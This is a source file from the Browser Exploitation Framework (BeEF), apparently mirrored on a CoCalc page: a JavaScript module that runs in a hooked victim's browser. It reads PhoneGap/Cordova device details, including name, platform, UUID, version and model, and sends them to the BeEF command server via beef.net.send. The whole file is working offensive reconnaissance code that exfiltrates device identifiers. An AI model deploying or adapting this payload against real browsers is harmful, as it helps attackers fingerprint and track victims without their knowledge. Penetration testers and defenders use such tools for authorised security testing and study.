Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_detect/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// detect phonegap
8
//
9
beef.execute(function() {
10
11
var phonegap_details;
12
13
try {
14
phonegap_details = ""
15
+ " name: " + device.name
16
+ " phonegap api: " + device.phonegap
17
+ " cordova api: " + device.cordova
18
+ " platform: " + device.platform
19
+ " uuid: " + device.uuid
20
+ " version: " + device.version
21
+ " model: " + device.model;
22
beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap=" + phonegap_details, beef.are.status_success());
23
} catch(e) {
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unable to detect phonegap", beef.are.status_error());
25
}
26
});
27
28